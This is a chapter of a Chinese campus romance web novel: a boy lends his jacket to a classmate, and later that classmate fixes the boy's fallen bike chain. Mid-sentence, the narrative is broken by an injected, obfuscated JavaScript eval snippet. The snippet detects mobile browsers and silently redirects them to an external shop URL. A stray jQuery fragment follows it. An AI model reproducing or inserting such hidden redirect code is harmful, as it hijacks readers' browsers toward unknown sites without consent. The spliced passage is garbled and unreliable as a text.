橙子味。
酸涩的清甜，干净温和。
薄行野被熟稔的味道重新笼住，鼻尖动了动，肩膀不自觉地下沉了点。
薄行野身上的白校服，胸前和领口蹭了好几处灰印子，有一块还沾着水渍，大概是刚才在厕所洗手台上蹭的。
薄行野碍眼地皱眉，伸手扯了扯脏了的地方，布料上的污渍已经干了，搓不掉。
祁虞见识了人洁癖的模样，“你……回家再洗。”他收回手，“先凑合挡挡。”
“……谢谢。”薄行野牵唇，唇珠上有道干裂的小口子，渗出星点血丝，笑起来的时候那道口子被扯开，他却琢磨不出疼。
薄行野把祁虞的外套往里拢了拢，下巴埋进领口里，橙子味更浓了，在领口处蹭着祁虞的体温。
祁虞的耳根是红的。
薄行野盯着看了两秒，坦率得过分，他认真道：“我们现在是朋友么？”
语调还是软哑的，咬字却很清楚，瞳孔里倒着走廊窗户透进来的光，和祁虞侧脸的轮廓。
好学生看着也不像缺朋友的样啊。
成绩好，长得也好，虽然性子有点冷，但架不住他那副长相招人，想跟他交朋友的人多得是。
光是祁虞知道的，赵子轩那种自来熟就不说了，班里隔三差五就有人凑过来跟薄行野搭话，借笔记，问作业，约打球。
薄行野每回都淡淡地拒绝，或是可有可无地表示自己不方便。
怎么偏偏揪着自己不放。
而且他不是回答过了么，薄行野说了算。
“随你。”祁虞轻飘飘应，脸上写满了爱咋咋的。
热从耳垂往下窜，险些烧到脖子根。祁虞也意识到了，抬手挠了挠耳后的头发。
薄行野很上道地没再追问。
两个人一前一后往教室走。
薄行野走在前边，步子不快，但不用人扶了，中二少年的外套买大了至少三个号，穿在薄行野身上也大了点，袖口盖过了手腕，下摆走起路来布料跟着晃荡。
祁虞保持着两步的距离，跟在人后边，自己的校服的穿人身上倒是合适，不知道以为就是他的呢。
操。
推开教室后门，自习课的安静扑面而来。
讲台上没老师，同学们各自坐在座位上，有的在埋头做卷子，有的偷偷塞着耳机听歌，后排有几个趴在桌上睡觉的，脑袋埋在胳膊里，呼吸均匀。
黑板上写了两行字，是今天的作业题号，旁边贴了张便利贴纸条，祁虞眯着眼睛看了看，写着这节课陈老师开会，自习，做卷子。
用便利贴么？锻炼视力？祁虞瘪嘴。
祁虞和薄行野对视一秒，各自坐回座位。
祁虞刚坐下，前排的赵子轩就转过身来，手里捏着个揉成团的纸条，趁周围没人注意飞快地往他桌上一丢。
纸团在桌面上滚了半圈，停在笔袋旁边。
祁虞拆开一看，上面是赵子轩歪歪扭扭的字迹，【陈老师开会去了，不在，卷子自己做，放学交。】
末了还加了句，【你刚才去哪了？老王从办公室探了个头，没点名。】
老王是他们半秃的生物老师。
祁虞把纸条揉回去，抬头看了赵子轩一眼，象征性地给了个知道了的眼神。
赵子轩又往薄行野的方向努了努嘴，无声地用口型问，他咋了？
祁虞摇摇头。
赵子轩耸耸肩，转回去了。
祁虞把卷子翻出来摊在桌上，笔在指间转了两圈，视线却往旁边偏了下。
薄行野已经趴下去了，半边脸埋在祁虞的外套袖子里，显出苍白的额头和紧闭的眼睛。
呼吸还重了些，胸口起伏的幅度隐约可见。
窗外有风吹进来，掀动了薄行野桌上的卷子角。
祁虞伸手帮他按住，把卷子往里推了推，收回手，开始蒙自己的题。
*
学校车棚，放学后。
出门没看黄历，祁虞前脚刚知道新加坡那货国庆小长假要回来，后脚霉运就找上门了。
老旧车棚的铁皮顶被太阳晒了一整天，现在还在往下散着余热。
棚里稀稀拉拉停着几辆没骑走的单车，地上的水泥地裂了好几道缝，缝里长出几根瘦巴巴的狗尾巴草。
西斜的太阳从棚顶破洞里漏进来，在地上画出亮斑。
放学铃响，祁虞单肩挎着书包往车棚走，打算骑车去干妈家蹭晚饭。
走到自己的单车前，祁虞低头一看，链条掉了。
还不是半挂着那种掉法，是链子直接从牙盘上滑下来，松垮地耷拉在踏板下面，跟条脱了骨的蛇似地。
祁虞暗骂了声，把书包往旁边的单车后座上一扔，蹲下去捞链条。
链条上全是黑油，手生的修车工徒手捞了两把，油污蹭了一手掌，链条纹丝不动。
祁虞手指被齿轮边缘剐了剐，蹭破了点皮，沾了油之后火辣辣的。
都怪陆辞。
人倒霉起来喝口凉水都塞牙。祁虞嘴角往下歪了歪。
“操。你今天是专门等着放学了才掉吧。”祁虞蹲在地上对着单车说话，幼稚得跟审讯空气叛徒般，“早不掉晚不掉，我中午还骑你回了趟家。”
单车：“……”
车棚另一端几个推着车出来的男生路过，同情地瞥了祁虞一眼，大概觉得这人蹲在地上对着车说话有点不正常。
祁虞笨手笨脚的，链条非但没挂上去，反而从牙盘底部脱得更彻底了。
祁虞大大咧咧地把手上的油往裤子上蹭了蹭，蹭完发现校裤是浅色的，黑油印在上面像被打了码。
车棚顶上一只鸽子被祁虞破防的低吼惹得扑棱棱飞走了。
赵子轩刚好路过车棚，手里举着一个正在啃的苹果。
看到祁虞蹲在地上和单车搏斗，他停下来，咬了口苹果，慢条斯理地说：“祁哥，链条掉了不是用手捞的。你得先把后轮抬起来转一下踏板……”
祁虞头也没回地敷衍，“我知道。”
“你知道那你为什么还在用手捞。”
“因为抬后轮没用，后轮是歪的。”
“你怎么知道后轮是歪的？”
祁虞站起来，用沾满油的手指了指后轮。
后轮确实歪了，辐条有一根弯了，车圈蹭着车架。
或许是某天早晨他骑太快冲减速带时磕的，赵子轩凑过去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17911271|213114||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看了看，诚恳地说：“你这车可以进博物馆了。”
“你再逼逼一句我把链条油糊你苹果上。”
赵子轩把苹果往身后一藏，“祁哥，你这属于迁怒。单车坏了我可以帮你叫修车师傅啊。”
“修车师傅下班了。”
“那你推回去呗。”
“我家离学校三公里。”
“那你打车——”
祁虞转头看他，平静道：“你出钱？”
赵子轩赶紧把苹果嚼完，核扔进垃圾桶，拍拍手，“我忽然想起来我还有英语单词没背，祁哥再见。”
赵同学走出几步又回头，从兜里掏出一包纸巾扔过来，“擦擦手，你那爪子比我家猫踩了煤灰还黑。”
祁虞用赵子轩的纸巾擦了擦手，没擦干净，黑油渗进了指甲缝里，还真有点像像刚挖完煤。
祁虞把纸巾团成球先扔在地上，又蹲下去和链条继续搏斗。
“要我帮你么？”淡冷悦耳的嗓声入耳。
祁虞抬头。
薄行野站在车棚的铁皮门框下，夕阳从他身后渡来，校服边缘被光勾出条浅金色的线。
好学生手里抱着两本书，肩上挎着书包，站姿和上课被老师提问站起来时一样直。
唇上牵着祁虞看惯了的温和无害的笑。
祁虞蹲在地上仰头看他，腿有点麻，他就不站起来欢迎了，疑惑道：“你怎么还没走？”
“刚帮陈老师整理别班的卷子。”薄行野走近，对人手上黑乎乎的链子没半点兴趣，倒是目不转睛地盯着祁虞蹭了好几道油污的脸。
薄行野提醒他，“你脸脏了，左边。”
祁虞用手背蹭了一下左脸，油更多了
薄行野忍不住又抿了下唇角淡淡的笑意。他把书放在旁边的单车后座上，蹲下来，把校服袖子卷到手腕以上，伸手去探链条的位置。
“我来吧。”好学生纡尊降贵地说。
祁虞想拒绝来着，干不干得好另说，少爷哪能干这种粗活，但养尊处优的少爷已经把手伸进链条和牙盘之间的缝隙里了。
薄行野熟练地先把卡住的链条从牙盘底部一点点撬出来，再用拇指把链节一个一个对准齿轮。
不像第一次修车。祁虞得出结论。
祁虞果断退开半步给他腾位置，“你修过车？”
薄行野有问有答，“算修过，自己组装过一辆。”
祁虞话赶话地接着问，“自己组装？”
“嗯，公路车。车架是收的二手，变速器换了新的。”薄行野一面说话一面把链条挂上牙盘，手指在黑油里翻动，表情专注，“后拨张力需要重新调……你平时骑的时候有没有听到异响？”
祁虞想了想：“……有，咔咔的。”
以至于，好一段时间祁虞以为是他关节响，还特意去问了问干妈这个年纪会不会得老寒腿。
干妈说少见。少见不代表没有，祁虞担忧得好几个晚上没睡好觉，后来和陆辞通了个电话，被傻逼嘲讽了一通，也就看开了。
能跑能跳就行。
薄行野“嗯”了声，他转动踏板，又引导链条咬合。
祁虞觉得自己又多了解了点学霸同桌。